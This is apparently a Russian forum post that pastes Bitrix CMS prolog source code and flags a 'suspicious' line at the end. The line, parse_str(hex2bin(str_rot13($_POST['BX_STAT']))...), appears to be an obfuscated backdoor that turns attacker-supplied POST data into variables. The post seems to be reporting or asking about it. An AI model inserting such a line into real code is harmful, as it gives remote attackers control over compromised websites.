Виталий Соков (Все сообщения пользователя)

<?

define("BX_ROOT", "/bitrix");



if(isset($_SERVER["BX_PERSONAL_ROOT"]) && $_SERVER["BX_PERSONAL_ROOT"] <> "")

   define("BX_PERSONAL_ROOT", $_SERVER["BX_PERSONAL_ROOT"]);

else

   define("BX_PERSONAL_ROOT", BX_ROOT);

<?php
/**
 * Bitrix Framework
 * @package bitrix
 * @subpackage main
 * @copyright 2001-2013 Bitrix
 */

/**
 * Bitrix vars
 * @global CUser $USER
 * @global CMain $APPLICATION
 * @global $SiteExpireDate
 */

use Bitrix\Main;

global $USER, $APPLICATION;

define("START_EXEC_PROLOG_AFTER_1", microtime(true));
$GLOBALS["BX_STATE"] = "PA";

if(!headers_sent())
   header("Content-type: text/html; charset=".LANG_CHARSET);

if(defined("DEMO") && DEMO=="Y")
{
   if(defined("OLDSITEEXPIREDATE") && defined("SITEEXPIREDATE") && OLDSITEEXPIREDATE != SITEEXPIREDATE)
      die(GetMessage("expire_mess2"));

   //wizard customization file
   $bxProductConfig = array();
   if(file_exists($_SERVER["DOCUMENT_ROOT"].BX_ROOT."/.config.php"))
      include($_SERVER["DOCUMENT_ROOT"].BX_ROOT."/.config.php");

   $delta = $SiteExpireDate-time();
   $daysToExpire = ($delta < 0? 0 : ceil($delta/86400));
   $bSaas = (COption::GetOptionString('main', '~SAAS_MODE', "N") == "Y");

   if(isset($bxProductConfig["saas"]))
   {
      if($bSaas)
      {
         if($daysToExpire > 0)
         {
            if($daysToExpire <= $bxProductConfig["saas"]["days_before_warning"])
            {
               $sWarn = $bxProductConfig["saas"]["public_warning"];
               $sWarn = str_replace("#RENT_DATE#", COption::GetOptionString('main', '~support_finish_date'), $sWarn);
               $sWarn = str_replace("#DAYS#", $daysToExpire, $sWarn);
               echo $sWarn;
            }
         }
         else
         {
            echo str_replace("#RENT_DATE#", COption::GetOptionString('main', '~support_finish_date'), $bxProductConfig["saas"]["public_warning_expired"]);
         }
      }
      else
      {
         if($daysToExpire == 0)
            echo $bxProductConfig["saas"]["public_trial_expired"];
      }
   }
   elseif($daysToExpire == 0)
   {
      echo GetMessage("expire_mess1");
   }
}
elseif (defined("TIMELIMIT_EDITION") && TIMELIMIT_EDITION == "Y")
{
   if (defined("OLDSITEEXPIREDATE") && defined("SITEEXPIREDATE") && OLDSITEEXPIREDATE != SITEEXPIREDATE)
      die(GetMessage("expire_mess2"));

   if ($SiteExpireDate < time())
   {
      echo GetMessage("expire_mess_timelicense1");
   }
}

if(COption::GetOptionString("main", "site_stopped", "N")=="Y" && !$USER->CanDoOperation('edit_other_settings'))
{
   if(($siteClosed = getLocalPath("php_interface/".LANG."/site_closed.php", BX_PERSONAL_ROOT)) !== false)
   {
      include($_SERVER["DOCUMENT_ROOT"].$siteClosed);
   }
   elseif(($siteClosed = getLocalPath("php_interface/include/site_closed.php", BX_PERSONAL_ROOT)) !== false)
   {
      include($_SERVER["DOCUMENT_ROOT"].$siteClosed);
   }
   else
   {
      include($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/include/site_closed.php");
   }
   die();
}

$sPreviewFile = $_SERVER["DOCUMENT_ROOT"].BX_PERSONAL_ROOT."/tmp/templates/__bx_preview/header.php";
if(defined("SITE_TEMPLATE_PREVIEW_MODE") && file_exists($sPreviewFile))
{
   include_once($sPreviewFile);
}
else
{
   \Bitrix\Main\Page\Asset::getInstance()->startTarget('TEMPLATE');
   include_once($_SERVER["DOCUMENT_ROOT"].SITE_TEMPLATE_PATH."/header.php");
   \Bitrix\Main\Page\Asset::getInstance()->startTarget('PAGE');
}

/* Draw edit menu for whole content */
global $BX_GLOBAL_AREA_EDIT_ICON;
$BX_GLOBAL_AREA_EDIT_ICON = false;

if($APPLICATION->GetShowIncludeAreas())
{
   $aUserOpt = CUserOptions::GetOption("global", "settings", array());
   if ($aUserOpt["page_edit_control_enable"] != "N")
   {
      $documentRoot = CSite::GetSiteDocRoot(SITE_ID);
      if(isset($_SERVER["REAL_FILE_PATH"]) && $_SERVER["REAL_FILE_PATH"] != "")
         $currentFilePath = $_SERVER["REAL_FILE_PATH"];
      else
         $currentFilePath = $APPLICATION->GetCurPage(true);

      $bCanEdit = true;

      if(!is_file($documentRoot.$currentFilePath) || !$USER->CanDoFileOperation("fm_edit_existent_file", array(SITE_ID, $currentFilePath)))
         $bCanEdit = false;

      //need fm_lpa for every .php file, even with no php code inside
      if($bCanEdit && !$USER->CanDoOperation('edit_php') && in_array(GetFileExtension($currentFilePath), GetScriptFileExt()) && !$USER->CanDoFileOperation('fm_lpa', array(SITE_ID, $currentFilePath)))
         $bCanEdit = false;

      if($bCanEdit && IsModuleInstalled("fileman") && !($USER->CanDoOperation("fileman_admin_files") && $USER->CanDoOperation("fileman_edit_existent_files")))
         $bCanEdit = false;

      if($bCanEdit)
      {
         echo $APPLICATION->IncludeStringBefore();
         $BX_GLOBAL_AREA_EDIT_ICON = true;
      }
   }
}
define("START_EXEC_PROLOG_AFTER_2", microtime(true));
$GLOBALS["BX_STATE"] = "WA";
$APPLICATION->RestartWorkarea(true);

//magically replacing the current file with another one
$event = new Main\Event("main", "OnFileRewrite", array("path" => Main\Context::getCurrent()->getRequest()->getScriptFile()));
$event->send();

foreach($event->getResults() as $evenResult)
{
   if(($result = $evenResult->getParameters()) <> '')
   {
      $file = new Main\IO\File($_SERVER["DOCUMENT_ROOT"].$result);
      if($file->isExists())
      {
         //only the first result matters
         include($file->getPhysicalPath());
         die();
      }
   }
}

Подозрительный код "parse_str(hex2bin(str_rot13($_POST["BX_STAT"])),$bx_stat)"